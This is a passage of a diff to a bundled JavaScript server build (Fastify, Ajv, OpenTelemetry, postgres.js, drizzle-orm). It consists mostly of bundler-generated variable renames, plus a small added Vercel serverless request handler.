function validateLogger(logger2, strict) { const methods = ["info", "error", "debug", "fatal", "warn", "trace", "child"]; - const missingMethods = logger ? methods.filter((method) => !logger[method] || typeof logger[method] !== "function") : methods; + const missingMethods = logger2 ? methods.filter((method) => !logger2[method] || typeof logger2[method] !== "function") : methods; if (!missingMethods.length) { return true; } else if (missingMethods.length === methods.length && !strict) { @@ -21760,17 +21760,17 @@ var require_logger_factory = __commonJS({ } if (!options.loggerInstance && !options.logger) { const nullLogger = require_abstract_logging(); - const logger2 = nullLogger; - logger2.child = () => logger2; - return { logger: logger2, hasLogger: false }; + const logger3 = nullLogger; + logger3.child = () => logger3; + return { logger: logger3, hasLogger: false }; } const { createPinoLogger, serializers: serializers2 } = require_logger_pino(); if (validateLogger(options.loggerInstance)) { - const logger2 = createPinoLogger({ + const logger3 = createPinoLogger({ logger: options.loggerInstance, serializers: Object.assign({}, serializers2, options.loggerInstance.serializers) }); - return { logger: logger2, hasLogger: true }; + return { logger: logger3, hasLogger: true }; } if (validateLogger(options.logger)) { throw FST_ERR_LOG_INVALID_LOGGER_CONFIG(); @@ -21792,8 +21792,8 @@ var require_logger_factory = __commonJS({ localLoggerOptions.level = localLoggerOptions.level || "info"; localLoggerOptions.serializers = Object.assign({}, serializers2, localLoggerOptions.serializers); options.logger = localLoggerOptions; - const logger = createPinoLogger(options.logger); - return { logger, hasLogger: true }; + const logger2 = createPinoLogger(options.logger); + return { logger: logger2, hasLogger: true }; } function createLogController(options) { const userController = options.logController; @@ -22204,8 +22204,8 @@ var require_error_serializer = __commonJS({ json3 += JSON_STR_END_OBJECT; return json3; } - const main2 = anonymous0; - return main2; + const main = anonymous0; + return main; }(validator, serializer); } }); @@ -28097,20 +28097,20 @@ var require_compile = __commonJS({ var util_1 = require_util(); var validate_1 = require_validate(); var SchemaEnv = class { - constructor(env) { + constructor(env2) { var _a3; this.refs = {}; this.dynamicAnchors = {}; let schema; - if (typeof env.schema == "object") - schema = env.schema; - this.schema = env.schema; - this.schemaId = env.schemaId; - this.root = env.root || this; - this.baseId = (_a3 = env.baseId) !== null && _a3 !== void 0 ? _a3 : (0, resolve_1.normalizeId)(schema === null || schema === void 0 ? void 0 : schema[env.schemaId || "$id"]); - this.schemaPath = env.schemaPath; - this.localRefs = env.localRefs; - this.meta = env.meta; + if (typeof env2.schema == "object") + schema = env2.schema; + this.schema = env2.schema; + this.schemaId = env2.schemaId; + this.root = env2.root || this; + this.baseId = (_a3 = env2.baseId) !== null && _a3 !== void 0 ? _a3 : (0, resolve_1.normalizeId)(schema === null || schema === void 0 ? void 0 : schema[env2.schemaId || "$id"]); + this.schemaPath = env2.schemaPath; + this.localRefs = env2.localRefs; + this.meta = env2.meta; this.$async = schema === null || schema === void 0 ? void 0 : schema.$async; this.refs = {}; } @@ -28294,15 +28294,15 @@ var require_compile = __commonJS({ baseId = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, schId); } } - let env; + let env2; if (typeof schema != "boolean" && schema.$ref && !(0, util_1.schemaHasRulesButRef)(schema, this.RULES)) { const $ref = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, schema.$ref); - env = resolveSchema.call(this, root, $ref); + env2 = resolveSchema.call(this, root, $ref); } const { schemaId } = this.opts; - env = env || new SchemaEnv({ schema, schemaId, root, baseId }); - if (env.schema !== env.root.schema) - return env; + env2 = env2 || new SchemaEnv({ schema, schemaId, root, baseId }); + if (env2.schema !== env2.root.schema) + return env2; return void 0; } } @@ -29989,13 +29989,13 @@ var require_core = __commonJS({ }, warn() { }, error() { } }; - function getLogger(logger) { - if (logger === false) + function getLogger(logger2) { + if (logger2 === false) return noLogs; - if (logger === void 0) + if (logger2 === void 0) return console; - if (logger.log && logger.warn && logger.error) - return logger; + if (logger2.log && logger2.warn && logger2.error) + return logger2; throw new Error("logger must implement log, warn and error methods"); } var KEYWORD_NAME = /^[a-z_$][a-z0-9_$:-]*$/i; @@ -30100,8 +30100,8 @@ var require_ref = __commonJS({ schemaType: "string", code(cxt) { const { gen, schema: $ref, it } = cxt; - const { baseId, schemaEnv: env, validateName, opts, self: self2 } = it; - const { root } = env; + const { baseId, schemaEnv: env2, validateName, opts, self: self2 } = it; + const { root } = env2; if (($ref === "#" || $ref === "#/") && baseId === root.baseId) return callRootRef(); const schOrEnv = compile_1.resolveRef.call(self2, root, baseId, $ref); @@ -30111,8 +30111,8 @@ var require_ref = __commonJS({ return callValidate(schOrEnv); return inlineRefSchema(schOrEnv); function callRootRef() { - if (env === root) - return callRef(cxt, validateName, env, env.$async); + if (env2 === root) + return callRef(cxt, validateName, env2, env2.$async); const rootName = gen.scopeValue("root", { ref: root }); return callRef(cxt, (0, codegen_1._)`${rootName}.validate`, root, root.$async); } @@ -30142,14 +30142,14 @@ var require_ref = __commonJS({ exports.getValidate = getValidate; function callRef(cxt, v, sch, $async) { const { gen, it } = cxt; - const { allErrors, schemaEnv: env, opts } = it; + const { allErrors, schemaEnv: env2, opts } = it; const passCxt = opts.passContext ? names_1.default.this : codegen_1.nil; if ($async) callAsyncRef(); else callSyncRef(); function callAsyncRef() { - if (!env.$async) + if (!env2.$async) throw new Error("async schema referenced by sync schema"); const valid = gen.let("valid"); gen.try(() => { @@ -44649,7 +44649,7 @@ var require_route = __commonJS({ const router = FindMyWay(options); let avvio; let fourOhFour; - let logger; + let logger2; let hasLogger; let setupResponseListeners; let throwIfAlreadyStarted; @@ -44667,7 +44667,7 @@ var require_route = __commonJS({ setup(options2, fastifyArgs) { avvio = fastifyArgs.avvio; fourOhFour = fastifyArgs.fourOhFour; - logger = options2.logger; + logger2 = options2.logger; hasLogger = fastifyArgs.hasLogger; setupResponseListeners = fastifyArgs.setupResponseListeners; throwIfAlreadyStarted = fastifyArgs.throwIfAlreadyStarted; @@ -44811,7 +44811,7 @@ var require_route = __commonJS({ opts.routePath = path2; opts.prefix = prefix; opts.logLevel = opts.logLevel || this[kLogLevel]; - validateLogLevelOption(opts.logLevel, opts.method, opts.url, logger); + validateLogLevelOption(opts.logLevel, opts.method, opts.url, logger2); if (this[kLogSerializers] || opts.logSerializers) { opts.logSerializers = Object.assign(Object.create(this[kLogSerializers]), opts.logSerializers); } @@ -44949,7 +44949,7 @@ var require_route = __commonJS({ const id = getGenReqId(context2.server, req); let childLogger; if (hasLogger === false && context2.childLoggerFactory === defaultChildLoggerFactory) { - childLogger = logger; + childLogger = logger2; } else { const loggerOpts = { level: context2.logLevel @@ -44957,7 +44957,7 @@ var require_route = __commonJS({ if (context2.logSerializers) { loggerOpts.serializers = context2.logSerializers; } - childLogger = createChildLogger(context2, logger, req, id, loggerOpts); + childLogger = createChildLogger(context2, logger2, req, id, loggerOpts); } if (closing === true) { if (req.httpVersionMajor !== 2) { @@ -45082,10 +45082,10 @@ var require_route = __commonJS({ throw new FST_ERR_ROUTE_HANDLER_TIMEOUT_OPTION_NOT_INT(handlerTimeout); } } - function validateLogLevelOption(logLevel, method, path, logger) { + function validateLogLevelOption(logLevel, method, path, logger2) { if (logLevel == null || logLevel === "") return; - if (logger?.levels?.values == null) return; - if (typeof logLevel !== "string" || logger.levels.values[logLevel] === void 0) { + if (logger2?.levels?.values == null) return; + if (typeof logLevel !== "string" || logger2.levels.values[logLevel] === void 0) { throw new FST_ERR_ROUTE_LOG_LEVEL_INVALID(method, path, logLevel); } } @@ -45150,7 +45150,7 @@ var require_four_oh_four = __commonJS({ var { createChildLogger } = require_logger_factory(); var { getGenReqId } = require_req_id_gen_factory(); function fourOhFour(options) { - const { logger } = options; + const { logger: logger2 } = options; const router = FindMyWay({ onBadUrl: options.routerOptions.onBadUrl, onMaxParamLength: options.routerOptions.onMaxParamLength, @@ -45246,7 +45246,7 @@ var require_four_oh_four = __commonJS({ function fourOhFourFallBack(req, res) { const fourOhFourContext = this[kFourOhFourLevelInstance][kFourOhFourContext]; const id = getGenReqId(fourOhFourContext.server, req); - const childLogger = createChildLogger(fourOhFourContext, logger, req, id); + const childLogger = createChildLogger(fourOhFourContext, logger2, req, id); const request = new Request(id, null, req, null, childLogger, fourOhFourContext); const reply = new Reply(res, request, childLogger); fourOhFourContext.server[kLogController].incomingRequest(request, reply); @@ -47955,7 +47955,7 @@ var require_fastify = __commonJS({ opts.includeMeta = opts.includeHooks ? opts.includeMeta ? supportedHooks.concat(opts.includeMeta) : supportedHooks : opts.includeMeta; return router.printRoutes(opts); } - function wrapRouting(router2, { rewriteUrl, logger }) { + function wrapRouting(router2, { rewriteUrl, logger: logger2 }) { let isAsync; return function preRouting(req, res) { if (isAsync === void 0) isAsync = router2.isAsyncConstraint(); @@ -48033,13 +48033,13 @@ var require_fastify = __commonJS({ if (!ajvOptions.plugins || !Array.isArray(ajvOptions.plugins)) { throw new FST_ERR_AJV_CUSTOM_OPTIONS_OPT_NOT_ARR(typeof ajvOptions.plugins); } - const { logger, hasLogger } = createLogger2(options); + const { logger: logger2, hasLogger } = createLogger2(options); const logController = createLogController(options); options.connectionTimeout = options.connectionTimeout || defaultInitOptions.connectionTimeout; options.keepAliveTimeout = options.keepAliveTimeout || defaultInitOptions.keepAliveTimeout; options.maxRequestsPerSocket = options.maxRequestsPerSocket || defaultInitOptions.maxRequestsPerSocket; options.requestTimeout = options.requestTimeout || defaultInitOptions.requestTimeout; - options.logger = logger; + options.logger = logger2; options.requestIdHeader = requestIdHeader; options.ajv = ajvOptions; options.clientErrorHandler = options.clientErrorHandler || defaultClientErrorHandler; @@ -50747,11 +50747,11 @@ var init_global_utils = __esm({ // node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag/ComponentLogger.js function logProxy(funcName, namespace, args) { - const logger = getGlobal("diag"); - if (!logger) { + const logger2 = getGlobal("diag"); + if (!logger2) { return; } - return logger[funcName](namespace, ...args); + return logger2[funcName](namespace, ...args); } var DiagComponentLogger; var init_ComponentLogger = __esm({ @@ -50797,17 +50797,17 @@ var init_types = __esm({ }); // node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag/internal/logLevelLogger.js -function createLogLevelDiagLogger(maxLevel, logger) { +function createLogLevelDiagLogger(maxLevel, logger2) { if (maxLevel < DiagLogLevel.NONE) { maxLevel = DiagLogLevel.NONE; } else if (maxLevel > DiagLogLevel.ALL) { maxLevel = DiagLogLevel.ALL; } - logger = logger || {}; + logger2 = logger2 || {}; function _filterFunc(funcName, theLevel) { - const theFunc = logger[funcName]; + const theFunc = logger2[funcName]; if (typeof theFunc === "function" && maxLevel >= theLevel) { - return theFunc.bind(logger); + return theFunc.bind(logger2); } return function() { }; @@ -50850,16 +50850,16 @@ var init_diag = __esm({ constructor() { function _logProxy(funcName) { return function(...args) { - const logger = getGlobal("diag"); - if (!logger) + const logger2 = getGlobal("diag"); + if (!logger2) return; - return logger[funcName](...args); + return logger2[funcName](...args); }; } const self2 = this; - const setLogger = (logger, optionsOrLogLevel = { logLevel: DiagLogLevel.INFO }) => { + const setLogger = (logger2, optionsOrLogLevel = { logLevel: DiagLogLevel.INFO }) => { var _a3, _b, _c; - if (logger === self2) { + if (logger2 === self2) { const err = new Error("Cannot use diag as the logger for itself. Please use a DiagLogger implementation like ConsoleDiagLogger or a custom implementation"); self2.error((_a3 = err.stack) !== null && _a3 !== void 0 ? _a3 : err.message); return false; @@ -50870,7 +50870,7 @@ var init_diag = __esm({ }; } const oldLogger = getGlobal("diag"); - const newLogger = createLogLevelDiagLogger((_b = optionsOrLogLevel.logLevel) !== null && _b !== void 0 ? _b : DiagLogLevel.INFO, logger); + const newLogger = createLogLevelDiagLogger((_b = optionsOrLogLevel.logLevel) !== null && _b !== void 0 ? _b : DiagLogLevel.INFO, logger2); if (oldLogger && !optionsOrLogLevel.suppressOverrideMessage) { const stack = (_c = new Error().stack) !== null && _c !== void 0 ? _c : ""; oldLogger.warn(`Current logger will be overwritten from ${stack}`); @@ -53974,6 +53974,21 @@ function newTraceContext(partial2 = {}) { } var IDEMPOTENCY_HEADER = "idempotency-key"; +// packages/utils/src/vercel.ts +function createVercelHandler(app2) { + const ready = Promise.resolve(app2.ready()); + ready.catch(() => void 0); + return async (req, res) => { + await ready; + app2.server.emit("request", req, res); + }; +} +var SERVERLESS_PLACEHOLDER_PORT = "3000"; +function withServerlessEnvDefaults(source = process.env) { + if (!source.VERCEL) return source; + return { ...source, PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT }; +} + // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/buffer_utils.js var encoder = new TextEncoder(); var decoder = new TextDecoder(); @@ -69811,8 +69826,8 @@ var listMessagesResponseSchema = external_exports.object({ }); // packages/auth-kit/src/tokens.ts -function createTokenVerifierConfig(env) { - const authBase = `${env.SUPABASE_URL}/auth/v1`; +function createTokenVerifierConfig(env2) { + const authBase = `${env2.SUPABASE_URL}/auth/v1`; return { jwks: createRemoteJWKSet(new URL(`${authBase}/.well-known/jwks.json`)), issuer: authBase @@ -71313,7 +71328,7 @@ var noop2 = () => { function Subscribe(postgres2, options) { const subscribers = /* @__PURE__ */ new Map(), slot = "postgresjs_" + Math.random().toString(36).slice(2), state = {}; let connection2, stream, ended = false; - const sql2 = subscribe.sql = postgres2({ + const sql3 = subscribe.sql = postgres2({ ...options, transform: { column: {}, value: {}, row: {} }, max: 1, @@ -71329,26 +71344,26 @@ function Subscribe(postgres2, options) { return; stream = null; state.pid = state.secret = void 0; - connected(await init(sql2, slot, options.publications)); + connected(await init(sql3, slot, options.publications)); subscribers.forEach((event) => event.forEach(({ onsubscribe }) => onsubscribe())); }, no_subscribe: true }); - const end = sql2.end, close = sql2.close; - sql2.end = async () => { + const end = sql3.end, close2 = sql3.close; + sql3.end = async () => { ended = true; stream && await new Promise((r) => (stream.once("close", r), stream.end())); return end(); }; - sql2.close = async () => { + sql3.close = async () => { stream && await new Promise((r) => (stream.once("close", r), stream.end())); - return close(); + return close2(); }; return subscribe; async function subscribe(event, fn, onsubscribe = noop2, onerror = noop2) { event = parseEvent2(event); if (!connection2) - connection2 = init(sql2, slot, options.publications); + connection2 = init(sql3, slot, options.publications); const subscriber = { fn, onsubscribe }; const fns = subscribers.has(event) ? subscribers.get(event).add(subscriber) : subscribers.set(event, /* @__PURE__ */ new Set([subscriber])).get(event); const unsubscribe = () => { @@ -71359,7 +71374,7 @@ function Subscribe(postgres2, options) { connected(x); onsubscribe(); stream && stream.on("error", onerror); - return { unsubscribe, state, sql: sql2 }; + return { unsubscribe, state, sql: sql3 }; }); } function connected(x) { @@ -71367,14 +71382,14 @@ function Subscribe(postgres2, options) { state.pid = x.state.pid; state.secret = x.state.secret; } - async function init(sql3, slot2, publications) { + async function init(sql4, slot2, publications) { if (!publications) throw new Error("Missing publication names"); - const xs = await sql3.unsafe( + const xs = await sql4.unsafe( `CREATE_REPLICATION_SLOT ${slot2} TEMPORARY LOGICAL pgoutput NOEXPORT_SNAPSHOT` ); const [x] = xs; - const stream2 = await sql3.unsafe( + const stream2 = await sql4.unsafe( `START_REPLICATION SLOT ${slot2} LOGICAL ${x.consistent_point} (proto_version '1', publication_names '${publications}')` ).writable(); const state2 = { @@ -71382,14 +71397,14 @@ function Subscribe(postgres2, options) { }; stream2.on("data", data); stream2.on("error", error51); - stream2.on("close", sql3.close); + stream2.on("close", sql4.close); return { stream: stream2, state: xs.state }; function error51(e) { console.error("Unexpected error during logical streaming - reconnecting", e); } function data(x2) { if (x2[0] === 119) { - parse3(x2.subarray(25), state2, sql3.options.parsers, handle, options.transform); + parse3(x2.subarray(25), state2, sql4.options.parsers, handle, options.transform); } else if (x2[0] === 107 && x2[17]) { state2.lsn = x2.subarray(1, 9); pong(); @@ -71521,22 +71536,22 @@ function parseEvent2(x) { // node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/large.js import Stream2 from "stream"; -function largeObject(sql2, oid, mode = 131072 | 262144) { +function largeObject(sql3, oid, mode = 131072 | 262144) { return new Promise(async (resolve, reject) => { - await sql2.begin(async (sql3) => { + await sql3.begin(async (sql4) => { let finish; - !oid && ([{ oid }] = await sql3`select lo_creat(-1) as oid`); - const [{ fd }] = await sql3`select lo_open(${oid}, ${mode}) as fd`; + !oid && ([{ oid }] = await sql4`select lo_creat(-1) as oid`); + const [{ fd }] = await sql4`select lo_open(${oid}, ${mode}) as fd`; const lo = { writable, readable, - close: () => sql3`select lo_close(${fd})`.then(finish), - tell: () => sql3`select lo_tell64(${fd})`, - read: (x) => sql3`select loread(${fd}, ${x}) as data`, - write: (x) => sql3`select lowrite(${fd}, ${x})`, - truncate: (x) => sql3`select lo_truncate64(${fd}, ${x})`, - seek: (x, whence = 0) => sql3`select lo_lseek64(${fd}, ${x}, ${whence})`, - size: () => sql3` + close: () => sql4`select lo_close(${fd})`.then(finish), + tell: () => sql4`select lo_tell64(${fd})`, + read: (x) => sql4`select loread(${fd}, ${x}) as data`, + write: (x) => sql4`select lowrite(${fd}, ${x})`, + truncate: (x) => sql4`select lo_truncate64(${fd}, ${x})`, + seek: (x, whence = 0) => sql4`select lo_lseek64(${fd}, ${x}, ${whence})`, + size: () => sql4` select lo_lseek64(${fd}, location, 0) as position, seek.size @@ -71611,12 +71626,12 @@ function Postgres(a, b2) { let ending = false; const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open, busy, full }; const connections = [...Array(options.max)].map(() => connection_default(options, queues, { onopen, onend, onclose })); - const sql2 = Sql(handler); - Object.assign(sql2, { + const sql3 = Sql(handler); + Object.assign(sql3, { get parameters() { return options.parameters; }, - largeObject: largeObject.bind(null, sql2), + largeObject: largeObject.bind(null, sql3), subscribe, CLOSE, END: CLOSE, @@ -71625,17 +71640,17 @@ function Postgres(a, b2) { reserve, listen, begin, - close, + close: close2, end }); - return sql2; + return sql3; function Sql(handler2) { handler2.debug = options.debug; Object.entries(options.types).reduce((acc, [name, type]) => { acc[name] = (x) => new Parameter(x, type.to); return acc; }, typed); - Object.assign(sql3, { + Object.assign(sql4, { types: typed, typed, unsafe, @@ -71644,11 +71659,11 @@ function Postgres(a, b2) { json: json3, file: file2 }); - return sql3; + return sql4; function typed(value, type) { return new Parameter(value, type); } - function sql3(strings, ...args) { + function sql4(strings, ...args) { const query = strings && Array.isArray(strings.raw) ? new Query(strings, args, handler2, cancel) : typeof strings === "string" && !args.length ? new Identifier(options.transform.column.to ? options.transform.column.to(strings) : strings) : new Builder(strings, args); return query; } @@ -71679,7 +71694,7 @@ function Postgres(a, b2) { } async function listen(name, fn, onlisten) { const listener = { fn, onlisten }; - const sql3 = listen.sql || (listen.sql = Postgres({ + const sql4 = listen.sql || (listen.sql = Postgres({ ...options, max: 1, idle_timeout: null, @@ -71703,7 +71718,7 @@ function Postgres(a, b2) { listener.onlisten && listener.onlisten(); return { state: result2.state, unlisten }; } - channels[name] = { result: sql3`listen ${sql3.unsafe('"' + name.replace(/"/g, '""') + '"')}`, listeners: [listener] }; + channels[name] = { result: sql4`listen ${sql4.unsafe('"' + name.replace(/"/g, '""') + '"')}`, listeners: [listener] }; const result = await channels[name].result; listener.onlisten && listener.onlisten(); return { state: result.state, unlisten }; @@ -71714,11 +71729,11 @@ function Postgres(a, b2) { if (channels[name].listeners.length) return; delete channels[name]; - return sql3`unlisten ${sql3.unsafe('"' + name.replace(/"/g, '""') + '"')}`; + return sql4`unlisten ${sql4.unsafe('"' + name.replace(/"/g, '""') + '"')}`; } } async function notify(channel, payload) { - return await sql2`select pg_notify(${channel}, ${"" + payload})`; + return await sql3`select pg_notify(${channel}, ${"" + payload})`; } async function reserve() { const queue = queue_default(); @@ -71730,12 +71745,12 @@ function Postgres(a, b2) { move(c, reserved); c.reserved = () => queue.length ? c.execute(queue.shift()) : move(c, reserved); c.reserved.release = true; - const sql3 = Sql(handler2); - sql3.release = () => { + const sql4 = Sql(handler2); + sql4.release = () => { c.reserved = null; onopen(c); }; - return sql3; + return sql4; function handler2(q) { c.queue === full ? queue.push(q) : c.execute(q) || move(c, full); } @@ -71745,7 +71760,7 @@ function Postgres(a, b2) { const queries2 = queue_default(); let savepoints = 0, connection2, prepare = null; try { - await sql2.unsafe("begin " + options2.replace(/[^a-z ]/ig, ""), [], { onexecute }).execute(); + await sql3.unsafe("begin " + options2.replace(/[^a-z ]/ig, ""), [], { onexecute }).execute(); return await Promise.race([ scope(connection2, fn), new Promise((_, reject) => connection2.onclose = reject) @@ -71754,29 +71769,29 @@ function Postgres(a, b2) { throw error51; } async function scope(c, fn2, name) { - const sql3 = Sql(handler2); - sql3.savepoint = savepoint; - sql3.prepare = (x) => prepare = x.replace(/[^a-z0-9$-_. ]/gi); + const sql4 = Sql(handler2); + sql4.savepoint = savepoint; + sql4.prepare = (x) => prepare = x.replace(/[^a-z0-9$-_. ]/gi); let uncaughtError, result; - name && await sql3`savepoint ${sql3(name)}`; + name && await sql4`savepoint ${sql4(name)}`; try { result = await new Promise((resolve, reject) => { - const x = fn2(sql3); + const x = fn2(sql4); Promise.resolve(Array.isArray(x) ? Promise.all(x) : x).then(resolve, reject); }); if (uncaughtError) throw uncaughtError; } catch (e) { - await (name ? sql3`rollback to ${sql3(name)}` : sql3`rollback`); + await (name ? sql4`rollback to ${sql4(name)}` : sql4`rollback`); throw e instanceof PostgresError && e.code === "25P02" && uncaughtError || e; } if (!name) { - prepare ? await sql3`prepare transaction '${sql3.unsafe(prepare)}'` : await sql3`commit`; + prepare ? await sql4`prepare transaction '${sql4.unsafe(prepare)}'` : await sql4`commit`; } return result; function savepoint(name2, fn3) { if (name2 && Array.isArray(name2.raw)) - return savepoint((sql4) => sql4.apply(sql4, arguments)); + return savepoint((sql5) => sql5.apply(sql5, arguments)); arguments.length === 1 && (fn3 = name2, name2 = null); return scope(c, fn3, "s" + savepoints++ + (name2 ? "_" + name2 : "")); } @@ -71836,7 +71851,7 @@ function Postgres(a, b2) { )) ]).then(() => clearTimeout(timer2)); } - async function close() { + async function close2() { await Promise.all(connections.map((c) => c.end())); } async function destroy(resolve) { @@ -71876,7 +71891,7 @@ function Postgres(a, b2) { function parseOptions(a, b2) { if (a && a.shared) return a; - const env = process.env, o = (!a || typeof a === "string" ? b2 : a) || {}, { url: url2, multihost } = parseUrl(a), query = [...url2.searchParams].reduce((a2, [b3, c]) => (a2[b3] = c, a2), {}), host = o.hostname || o.host || multihost || url2.hostname || env.PGHOST || "localhost", port = o.port || url2.port || env.PGPORT || 5432, user = o.user || o.username || url2.username || env.PGUSERNAME || env.PGUSER || osUsername(); + const env2 = process.env, o = (!a || typeof a === "string" ? b2 : a) || {}, { url: url2, multihost } = parseUrl(a), query = [...url2.searchParams].reduce((a2, [b3, c]) => (a2[b3] = c, a2), {}), host = o.hostname || o.host || multihost || url2.hostname || env2.PGHOST || "localhost", port = o.port || url2.port || env2.PGPORT || 5432, user = o.user || o.username || url2.username || env2.PGUSERNAME || env2.PGUSER || osUsername(); o.no_prepare && (o.prepare = false); query.sslmode && (query.ssl = query.sslmode, delete query.sslmode); "timeout" in o && (console.log("The timeout option is deprecated, use idle_timeout instead"), o.idle_timeout = o.timeout); @@ -71902,24 +71917,24 @@ function parseOptions(a, b2) { host: Array.isArray(host) ? host : host.split(",").map((x) => x.split(":")[0]), port: Array.isArray(port) ? port : host.split(",").map((x) => parseInt(x.split(":")[1] || port)), path: o.path || host.indexOf("/") > -1 && host + "/.s.PGSQL." + port, - database: o.database || o.db || (url2.pathname || "").slice(1) || env.PGDATABASE || user, + database: o.database || o.db || (url2.pathname || "").slice(1) || env2.PGDATABASE || user, user, - pass: o.pass || o.password || url2.password || env.PGPASSWORD || "", + pass: o.pass || o.password || url2.password || env2.PGPASSWORD || "", ...Object.entries(defaults).reduce( (acc, [k, d]) => { - const value = k in o ? o[k] : k in query ? query[k] === "disable" || query[k] === "false" ? false : query[k] : env["PG" + k.toUpperCase()] || d; + const value = k in o ? o[k] : k in query ? query[k] === "disable" || query[k] === "false" ? false : query[k] : env2["PG" + k.toUpperCase()] || d; acc[k] = typeof value === "string" && ints.includes(k) ? +value : value; return acc; }, {} ), connection: { - application_name: env.PGAPPNAME || "postgres.js", + application_name: env2.PGAPPNAME || "postgres.js", ...o.connection, ...Object.entries(query).reduce((acc, [k, v]) => (k in defaults || (acc[k] = v), acc), {}) }, types: o.types || {}, - target_session_attrs: tsa(o, url2, env), + target_session_attrs: tsa(o, url2, env2), onnotice: o.onnotice, onnotify: o.onnotify, onclose: o.onclose, @@ -71931,8 +71946,8 @@ function parseOptions(a, b2) { ...mergeUserTypes(o.types) }; } -function tsa(o, url2, env) { - const x = o.target_session_attrs || url2.searchParams.get("target_session_attrs") || env.PGTARGETSESSIONATTRS; +function tsa(o, url2, env2) { + const x = o.target_session_attrs || url2.searchParams.get("target_session_attrs") || env2.PGTARGETSESSIONATTRS; if (!x || ["read-write", "read-only", "primary", "standby", "prefer-standby"].includes(x)) return x; throw new Error("target_session_attrs " + x + " is not supported"); @@ -72687,10 +72702,10 @@ function pgEnumObjectWithSchema(enumName, values2, schema) { // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/subquery.js var Subquery = class { static [entityKind] = "Subquery"; - constructor(sql2, fields, alias, isWith = false, usedTables = []) { + constructor(sql3, fields, alias, isWith = false, usedTables = []) { this._ = { brand: "Subquery", - sql: sql2, + sql: sql3, selectedFields: fields, alias, isWith, @@ -73088,19 +73103,19 @@ function sql(strings, ...params) { } return new SQL(queryChunks); } -((sql2) => { +((sql22) => { function empty() { return new SQL([]); } - sql2.empty = empty; + sql22.empty = empty; function fromList(list) { return new SQL(list); } - sql2.fromList = fromList; + sql22.fromList = fromList; function raw(str) { return new SQL([new StringChunk(str)]); } - sql2.raw = raw; + sql22.raw = raw; function join(chunks, separator) { const result = []; for (const [i, chunk] of chunks.entries()) { @@ -73111,24 +73126,24 @@ function sql(strings, ...params) { } return new SQL(result); } - sql2.join = join; + sql22.join = join; function identifier(value) { return new Name(value); } - sql2.identifier = identifier; + sql22.identifier = identifier; function placeholder2(name2) { return new Placeholder(name2); } - sql2.placeholder = placeholder2; + sql22.placeholder = placeholder2; function param2(value, encoder2) { return new Param(value, encoder2); } - sql2.param = param2; + sql22.param = param2; })(sql || (sql = {})); ((SQL2) => { class Aliased { - constructor(sql2, fieldAlias) { - this.sql = sql2; + constructor(sql22, fieldAlias) { + this.sql = sql22; this.fieldAlias = fieldAlias; } static [entityKind] = "SQL.Aliased"; @@ -75948,8 +75963,8 @@ var PgDialect = class { return "none"; } } - sqlToQuery(sql2, invokeSource) { - return sql2.toQuery({ + sqlToQuery(sql22, invokeSource) { + return sql22.toQuery({ casing: this.casing, escapeName: this.escapeName, escapeParam: this.escapeParam, @@ -78308,10 +78323,10 @@ var PgRelationalQuery = class extends QueryPromise { // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/query-builders/raw.js var PgRaw = class extends QueryPromise { - constructor(execute, sql2, query, mapBatchResult) { + constructor(execute, sql3, query, mapBatchResult) { super(); this.execute = execute; - this.sql = sql2; + this.sql = sql3; this.query = query; this.mapBatchResult = mapBatchResult; } @@ -78631,8 +78646,8 @@ var NoopCache = class extends Cache { async onMutate(_params) { } }; -async function hashQuery(sql2, params) { - const dataToHash = `${sql2}-${JSON.stringify(params)}`; +async function hashQuery(sql3, params) { + const dataToHash = `${sql3}-${JSON.stringify(params)}`; const encoder2 = new TextEncoder(); const data = encoder2.encode(dataToHash); const hashBuffer = await crypto.subtle.digest("SHA-256", data); @@ -78765,8 +78780,8 @@ var PgSession = class { ).all(); } /** @internal */ - async count(sql2, token) { - const res = await this.execute(sql2, token); + async count(sql22, token) { + const res = await this.execute(sql22, token); return Number( res[0]["count"] ); @@ -78803,12 +78818,12 @@ var PgTransaction = class extends PgDatabase { // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/postgres-js/session.js var PostgresJsPreparedQuery = class extends PgPreparedQuery { - constructor(client, queryString, params, logger, cache2, queryMetadata, cacheConfig, fields, _isResponseInArrayMode, customResultMapper) { + constructor(client, queryString, params, logger2, cache2, queryMetadata, cacheConfig, fields, _isResponseInArrayMode, customResultMapper) { super({ sql: queryString, params }, cache2, queryMetadata, cacheConfig); this.client = client; this.queryString = queryString; this.params = params; - this.logger = logger; + this.logger = logger2; this.fields = fields; this._isResponseInArrayMode = _isResponseInArrayMode; this.customResultMapper = customResultMapper; @@ -78950,11 +78965,11 @@ function construct(client, config2 = {}) { client.options.serializers["114"] = transparentParser; client.options.serializers["3802"] = transparentParser; const dialect = new PgDialect({ casing: config2.casing }); - let logger; + let logger2; if (config2.logger === true) { - logger = new DefaultLogger(); + logger2 = new DefaultLogger(); } else if (config2.logger !== false) { - logger = config2.logger; + logger2 = config2.logger; } let schema; if (config2.schema) { @@ -78968,14 +78983,14 @@ function construct(client, config2 = {}) { tableNamesMap: tablesConfig.tableNamesMap }; } - const session = new PostgresJsSession(client, dialect, schema, { logger, cache: config2.cache }); - const db = new PostgresJsDatabase(dialect, session, schema); - db.$client = client; - db.$cache = config2.cache; - if (db.$cache) { - db.$cache["invalidate"] = config2.cache?.onMutate; + const session = new PostgresJsSession(client, dialect, schema, { logger: logger2, cache: config2.cache }); + const db2 = new PostgresJsDatabase(dialect, session, schema); + db2.$client = client; + db2.$cache = config2.cache; + if (db2.$cache) { + db2.$cache["invalidate"] = config2.cache?.onMutate; } - return db; + return db2; } function drizzle(...params) { if (typeof params[0] === "string") { @@ -79530,7 +79545,7 @@ var 